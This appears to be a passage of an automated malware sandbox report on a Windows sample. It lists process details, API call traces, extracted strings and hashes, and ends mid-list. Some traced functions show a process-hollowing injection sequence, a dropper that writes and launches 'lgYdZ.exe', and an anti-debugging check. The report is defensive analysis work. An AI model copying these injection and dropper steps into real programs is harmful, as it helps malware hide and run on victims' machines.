Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\401a29f4.bat" "
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	20:12:18
Start date:	24/07/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2%
Dynamic/Decrypted Code Coverage:	28.9%
Signature Coverage:	12.8%
Total number of Nodes:	439
Total number of Limit Nodes:	49

Executed Functions

Function 00403015 Relevance: 59.8, APIs: 14, Strings: 20, Instructions: 308
librarymemorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryExA.KERNEL32(Cacocutogefoba domecip,Mozuwaciboxip pumoxiges zujixakaw mufaze,00000000), ref: 00403048
GetMailslotInfo.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0040304F
SetFilePointer.KERNEL32(00000000,00000000,?,00000000), ref: 0040305C

Part of subcall function 0040394D: __lock.LIBCMT ref: 0040396B
Part of subcall function 0040394D: ___sbh_find_block.LIBCMT ref: 00403976
Part of subcall function 0040394D: ___sbh_free_block.LIBCMT ref: 00403985
Part of subcall function 0040394D: HeapFree.KERNEL32(00000000,?,004B2460,0000000C,00403068,00000000), ref: 004039B5
Part of subcall function 0040394D: GetLastError.KERNEL32 ref: 004039C6

_calloc.LIBCMT ref: 00403074

Part of subcall function 004039DB: __calloc_impl.LIBCMT ref: 004039F0

_feof.LIBCMT ref: 0040307A
LoadLibraryA.KERNEL32(kernel32.dll), ref: 0040376C
GetProcAddress.KERNEL32(00000000,LocalAlloc), ref: 0040377D
LocalAlloc.KERNELBASE(00000000), ref: 0040378F
GetBinaryTypeW.KERNEL32(Darehixipazu lezejinuza nalecabisup xuniyi wof,?), ref: 004037E0
GetProcessWorkingSetSize.KERNEL32(00000000,?,?), ref: 004037EF
WriteConsoleW.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 004037FD
GetLastError.KERNEL32 ref: 00403813
CreateDirectoryExA.KERNEL32(Hogonogo zefakawe zumupekututo,denakahu yirajus,00000000), ref: 00403846
lstrlenA.KERNEL32(Yukanevakuriya duhifufacisubop), ref: 0040384D

Strings

0ET5, xrefs: 00403669
^@ga, xrefs: 00403698
denakahu yirajus, xrefs: 0040383C
Mozuwaciboxip pumoxiges zujixakaw mufaze, xrefs: 0040303E
LocalAlloc, xrefs: 00403772
pj?[, xrefs: 004031AA
v}TI, xrefs: 00403278
db_B, xrefs: 004032B8
Yukanevakuriya duhifufacisubop, xrefs: 00403848
kernel32.dll, xrefs: 0040370D
<Z:^, xrefs: 0040326E
Mw%/, xrefs: 00403234
Cacocutogefoba domecip, xrefs: 00403043
`7y, xrefs: 0040364B
G-n, xrefs: 00403352
"P(, xrefs: 00403245
Hogonogo zefakawe zumupekututo, xrefs: 00403841
Darehixipazu lezejinuza nalecabisup xuniyi wof, xrefs: 004037DB
!F2, xrefs: 0040355A
L]tn, xrefs: 004032EA

Memory Dump Source

Source File: 00000000.00000002.1441717123.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1441695979.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441879242.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441915825.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441947953.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441977196.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441998150.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Similarity

API ID: CreateDirectoryErrorLast$AddressAllocBinaryConsoleFileFreeHeapInfoLibraryLoadLocalMailslotPointerProcProcessSizeTypeWorkingWrite___sbh_find_block___sbh_free_block__calloc_impl__lock_calloc_feoflstrlen
String ID: !F2$"P($0ET5$<Z:^$Cacocutogefoba domecip$Darehixipazu lezejinuza nalecabisup xuniyi wof$Hogonogo zefakawe zumupekututo$L]tn$LocalAlloc$Mozuwaciboxip pumoxiges zujixakaw mufaze$Mw%/$Yukanevakuriya duhifufacisubop$^@ga$`7y$db_B$denakahu yirajus$kernel32.dll$pj?[$v}TI$G-n
API String ID: 2581561966-3320123590
Opcode ID: f6123add018b1f3f3e647f6983dc725c82fb97b6f51b5e0d9d0dd13f33623faf
Instruction ID: ef9f56c42a13b260aee09b870c348df1e92f525f0d39637234722ea19da9da72
Opcode Fuzzy Hash: f6123add018b1f3f3e647f6983dc725c82fb97b6f51b5e0d9d0dd13f33623faf
Instruction Fuzzy Hash: 5112EDB08013A8DFDB609F95EE897DDBBB4FB05304F2082E9D1493A255C7B50A85CF99

Function 00500044 Relevance: 33.4, APIs: 4, Strings: 15, Instructions: 171
fileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE(?,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 00500223
WriteFile.KERNELBASE(00000000,FFF03A6F,00003E00,?,00000000), ref: 00500252
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00500256
WinExec.KERNEL32(?,00000005), ref: 00500262

Strings

WinE, xrefs: 00500110
.dll, xrefs: 00500102
GetT, xrefs: 00500188
Crea, xrefs: 00500169
Clos, xrefs: 00500129
Kern, xrefs: 005000F4
el32, xrefs: 005000FB
lgYdZ.exe, xrefs: 005001FD, 00500200
Writ, xrefs: 00500148
athA, xrefs: 00500199
dleA, xrefs: 005000D0
odul, xrefs: 0050022D
GetM, xrefs: 005000B6
lstr, xrefs: 005001A7
catA, xrefs: 005001AF

Memory Dump Source

Source File: 00000000.00000002.1441977196.0000000000500000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1441695979.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.0000000000401000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441879242.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441915825.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441947953.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441998150.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Similarity

API ID: File$ChangeCloseCreateExecFindNotificationWrite
String ID: .dll$Clos$Crea$GetM$GetT$Kern$WinE$Writ$athA$catA$dleA$el32$lgYdZ.exe$lstr$odul
API String ID: 2234911746-536013496
Opcode ID: 07a45eb36613df639c392df32116cb3f8b9a7236f7c3b9129f4537306206d4c4
Instruction ID: 4c7f2103f3ea97494f144c53e79fc6e749d40b25b4882f32560eb2b768755c71
Opcode Fuzzy Hash: 07a45eb36613df639c392df32116cb3f8b9a7236f7c3b9129f4537306206d4c4
Instruction Fuzzy Hash: 78610474D0121ADBCF24CF94CC84BADBBB4BF48315F25A6AAD405AB2C1C7709E81CB91

Function 00403860 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 59
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReplaceFileA.KERNEL32(hecolupefufesugizupadumeyufucocunicinazimecukofisusozeni,zowuligafazodujakupad,pinapurihokovetajakufobekecabenehifaway,00000000,00000000,00000000), ref: 00403888
_feof.LIBCMT ref: 0040388F

Part of subcall function 00403B18: __wcstoi64.LIBCMT ref: 00403B24

FindFirstChangeNotificationA.KERNEL32(Kepigeyar bopugiharugopo likohep paruyaxovor tedic,00000000,00000000), ref: 004038C2
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 004038C9
InitializeCriticalSection.KERNEL32(?), ref: 004038D3
SetCalendarInfoA.KERNEL32(00000000,00000000,00000000,cujodig), ref: 004038E1
UnregisterWait.KERNEL32(00000000), ref: 004038E8
GetCPInfoExA.KERNEL32(00000000,00000000,?), ref: 004038F7
GetStdHandle.KERNEL32(00000000), ref: 004038FE

Strings

zowuligafazodujakupad, xrefs: 0040387E
hecolupefufesugizupadumeyufucocunicinazimecukofisusozeni, xrefs: 00403883
pinapurihokovetajakufobekecabenehifaway, xrefs: 00403879
Kepigeyar bopugiharugopo likohep paruyaxovor tedic, xrefs: 004038BD
cujodig, xrefs: 004038D9

Memory Dump Source

Source File: 00000000.00000002.1441717123.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1441695979.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441879242.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441915825.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441947953.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441977196.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441998150.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Similarity

API ID: Info$AliasesCalendarChangeConsoleCriticalFileFindFirstHandleInitializeLengthNotificationReplaceSectionUnregisterWait__wcstoi64_feof
String ID: Kepigeyar bopugiharugopo likohep paruyaxovor tedic$cujodig$hecolupefufesugizupadumeyufucocunicinazimecukofisusozeni$pinapurihokovetajakufobekecabenehifaway$zowuligafazodujakupad
API String ID: 2430961990-2997673504
Opcode ID: 0c3c8aee376a04f9e6b189da93bd3571ee51574bedba288734b52d798af2408f
Instruction ID: cd36a1a0d22436e030676cd4fc564cba1b968478dd758ba5253a8acfc5668a45
Opcode Fuzzy Hash: 0c3c8aee376a04f9e6b189da93bd3571ee51574bedba288734b52d798af2408f
Instruction Fuzzy Hash: 5C117C315025247BC6117BA2AE0DCDB3E6CDE8635A7004036F149B14E1D7784685CBFE

Function 022A0110 Relevance: 21.2, APIs: 14, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 022A0156
CreateProcessA.KERNELBASE(?,00000000), ref: 022A0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 022A0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 022A0283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 022A029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022A02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 022A02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 022A0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 022A032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 022A0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022A03BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 022A03E1
ResumeThread.KERNELBASE(00000000), ref: 022A03ED
ExitProcess.KERNEL32(00000000), ref: 022A0412

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFreeReadResumeSectionUnmapView
String ID:
API String ID: 3993611425-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: d136e43f7bb64eddbb19760302c2f8c3ca19df1a2810d183168e2bd41b1c2a0d
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: AEB1E774A00209AFDB44CF98C895F9EBBB5FF88314F208158E908AB395D771AE45CF94

Function 022047C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 022047EE
Module32First.KERNEL32(00000000,00000224), ref: 0220480E

Memory Dump Source

Source File: 00000000.00000002.1442694289.0000000002204000.00000040.00000020.00020000.00000000.sdmp, Offset: 02204000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2204000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 404e88cfdb8cbdf857143962c0a0102084dbd521c2589077bc8a3716153a31f4
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 66F0C2352103116BD7203BF5ACCCBAE76ECAF49625F504628E742914C1DB70E8458A60

Function 022A0420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 022A0533

Strings

mfoaskdfnoa, xrefs: 022A0520, 022A0523
d, xrefs: 022A0584
saodkfnosa9uin, xrefs: 022A04DA
0, xrefs: 022A0492

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 68510f6b9f89f8f1d5420b6694918bc96389197744de4d31694456adcf274371
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: D9511770D08388DBEB11CBE8C859BDDBFB2AF11708F144058D5487F28AC3BA5658CB66

Function 022A05B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 022A05EC

Strings

o, xrefs: 022A0600
apfHQ, xrefs: 022A05E2, 022A05E5

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: ff2393c214cc7ec00282745914c1e28bfa67347d950046e2c2933fa14ae350b9
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 4C011E70C0425DEBDB10DBD8C5283AEBFB5AF41308F148099C4092B241D7B69B58CBA1

Function 00402640 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(kernel32.dll,0040390C), ref: 00402699

Strings

kernel32.dll, xrefs: 00402640

Memory Dump Source

Source File: 00000000.00000002.1441717123.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1441695979.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441879242.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441915825.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441947953.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441977196.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441998150.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Similarity

API ID: LibraryLoad
String ID: kernel32.dll
API String ID: 1029625771-1793498882
Opcode ID: 967e0e0a006c82dc634e1ecbba524aef33873c60e6fc21f72b47ac56b123a7f8
Instruction ID: 531ef1fbc45b6d9ee6e6d5d765289901d1b90b05c950bf9c531aa11f74b6980f
Opcode Fuzzy Hash: 967e0e0a006c82dc634e1ecbba524aef33873c60e6fc21f72b47ac56b123a7f8
Instruction Fuzzy Hash: C6F0450054CAC4CEF722832CA9587003F928332B08F4882A980C40A6E3C3FB0928C7BF

Function 00402FDE Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(00000020,?), ref: 00403001

Strings

, xrefs: 00402FEA

Memory Dump Source

Source File: 00000000.00000002.1441717123.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1441695979.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441879242.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441915825.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441947953.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441977196.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441998150.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-3916222277
Opcode ID: 6d82fc9b6c3a5b66bb29707820ac6a736b39ec27153483f110686ab50557f217
Instruction ID: 446d7eb754984a31e0376d023958e3877551afd4b7cefdade97bf2a2649f26d5
Opcode Fuzzy Hash: 6d82fc9b6c3a5b66bb29707820ac6a736b39ec27153483f110686ab50557f217
Instruction Fuzzy Hash: 27D06CB581020CFFEB059B90ED099AABABDEB09348F1041A4F100A2421D3B15A60ABA9

Function 00403E9C Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 00403EB1

Memory Dump Source

Source File: 00000000.00000002.1441717123.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1441695979.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.0000000000416000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441717123.00000000004B2000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441879242.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441915825.00000000004BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441947953.00000000004FC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441977196.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1441998150.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: bb605ba8d31bb5e4cfe786925559d0082742193f763a972e3e7cdc2d8f0eced1
Instruction ID: bef56e53ba2d78a19c458239c9ec50e73ab3de5ecb24dc9f98098d3e9de505ba
Opcode Fuzzy Hash: bb605ba8d31bb5e4cfe786925559d0082742193f763a972e3e7cdc2d8f0eced1
Instruction Fuzzy Hash: F4D05E726603486BDB005F74AD09B363BDCD384796F008836BA0CC6290E6B4C6A0D588

Function 02204485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 022044D6

Memory Dump Source

Source File: 00000000.00000002.1442694289.0000000002204000.00000040.00000020.00020000.00000000.sdmp, Offset: 02204000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2204000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 940c4014e428046dbb8ee370d270a23eba36e9fd75bf1f1a0d426c9981c8c5e2
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 1F112B79A00208EFDB01DF98C985E99BFF5AF08350F058094FA489B362D371EA90DF80

Non-executed Functions

Function 022BF030 Relevance: 19.9, APIs: 10, Strings: 1, Instructions: 696COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022BF0A7
_wcsstr.LIBCMT ref: 022BF14E
_strstr.LIBCMT ref: 022BF3D6
_malloc.LIBCMT ref: 022BF526
_memset.LIBCMT ref: 022BF534
_strstr.LIBCMT ref: 022BF57A
_malloc.LIBCMT ref: 022BF6F5
_memset.LIBCMT ref: 022BF703
_free.LIBCMT ref: 022BF7B5
_free.LIBCMT ref: 022BF7C2

Strings

", xrefs: 022BF640

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset$_free_malloc_strstr$_wcsstr
String ID: "
API String ID: 430003804-123907689
Opcode ID: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction ID: 6d7d65b48e5bb6f8375f77c13024f178264ba13b03c4871077dbfe42f001aed5
Opcode Fuzzy Hash: 1cdb3d0636dac09cc2f24788c7c1d72f8c986b6e2997366a203cf509162b2016
Instruction Fuzzy Hash: 57420571418381ABD721EFA4CC48BDB7BE8BF85348F14092DF98987195DB74E509CBA2

Function 022BA930 Relevance: 10.3, APIs: 3, Strings: 2, Instructions: 1565COMMON

Download Yara Rule

Strings

<, xrefs: 022BB01B
x2Q, xrefs: 022BB1F6

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: _memset
String ID: <$x2Q
API String ID: 2102423945-643667464
Opcode ID: 273cca7cb529547cd63a08c43d9310bac8ca78855d9082cfb023d6999fed1edd
Instruction ID: b93bea379f25ed301fd20e3cffba979f2d5432b04073fb65b88080508c67c689
Opcode Fuzzy Hash: 273cca7cb529547cd63a08c43d9310bac8ca78855d9082cfb023d6999fed1edd
Instruction Fuzzy Hash: 7BD2B0705243419BDB16EFA4CC94BDFBBE6BF84348F40092DE88587295EB71A509CF92

Function 022B00D0 Relevance: 9.7, APIs: 6, Instructions: 732COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction ID: 1678124eb70d90bfd76b638453c2229eb439d1e403ea0ed16a74b4c2e9e04b52
Opcode Fuzzy Hash: 23169db7a410551c83385ddf708b4d7ef8baad74fa6175bf0d512237d1225d66
Instruction Fuzzy Hash: 0A52A171D20209DBDF12DFE8C885BDEB7B5BF08348F108169D419A7254EB75AA48CFA1

Function 022AE6E0 Relevance: 8.2, APIs: 5, Instructions: 735COMMON

Download Yara Rule

APIs

_wcsstr.LIBCMT ref: 022AE72D
_wcsstr.LIBCMT ref: 022AE756
_memset.LIBCMT ref: 022AE784

Part of subcall function 022EFC0C: std::exception::exception.LIBCMT ref: 022EFC1F
Part of subcall function 022EFC0C: __CxxThrowException@8.LIBCMT ref: 022EFC34
Part of subcall function 022EFC0C: std::exception::exception.LIBCMT ref: 022EFC4D
Part of subcall function 022EFC0C: __CxxThrowException@8.LIBCMT ref: 022EFC62
Part of subcall function 022EFC0C: std::regex_error::regex_error.LIBCPMT ref: 022EFC74
Part of subcall function 022EFC0C: __CxxThrowException@8.LIBCMT ref: 022EFC82
Part of subcall function 022EFC0C: std::exception::exception.LIBCMT ref: 022EFC9B
Part of subcall function 022EFC0C: __CxxThrowException@8.LIBCMT ref: 022EFCB0

_wcsstr.LIBCMT ref: 022AEA0C
_memset.LIBCMT ref: 022AEE5C

Memory Dump Source

Source File: 00000000.00000002.1442806045.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_22a0000_FC0D639C0918938BDF00FA6F1DC4BC03002C328428FC34A34B050AEE8E3BEB8C.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_wcsstrstd::exception::exception$_memset$std::regex_error::regex_error
String ID:
API String ID: 1338678108-0
Opcode ID: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction ID: 527fc79935a57f77c6a0bc40a1a109c625c844b8961ae83d4bf3f011ad5e3b89
Opcode Fuzzy Hash: b5098284881af2f016dff51b4d469be074dfe0eb5f9feb8c37e34c07e0411b24
Instruction Fuzzy Hash: D352EE71A1030A8FCF24CFA8C8A4BAEBBF5FF04304F154569E846AB685D7719946CF91

Function 0040659C Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 004085A0
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004085B5
UnhandledExceptionFilter.KERNEL32(00401960), ref: 004085C0
